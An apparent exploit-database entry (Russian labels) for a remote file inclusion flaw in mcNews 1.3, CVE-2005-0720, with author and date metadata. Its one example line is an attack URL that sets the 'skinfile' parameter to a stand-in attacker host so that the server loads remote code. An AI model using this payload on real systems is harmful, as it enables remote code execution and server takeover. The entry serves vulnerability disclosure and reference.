Exploit PHP mcNews 1.3 - 'skinfile' Remote File Inclusion

[Exploiter]

EDB-ID

865

Проверка EDB

1. Пройдено

Автор

FILIP GROSZYNSKI

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2005-0720

Дата публикации

2005-03-07

Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/

# milw0rm.com [2005-03-07]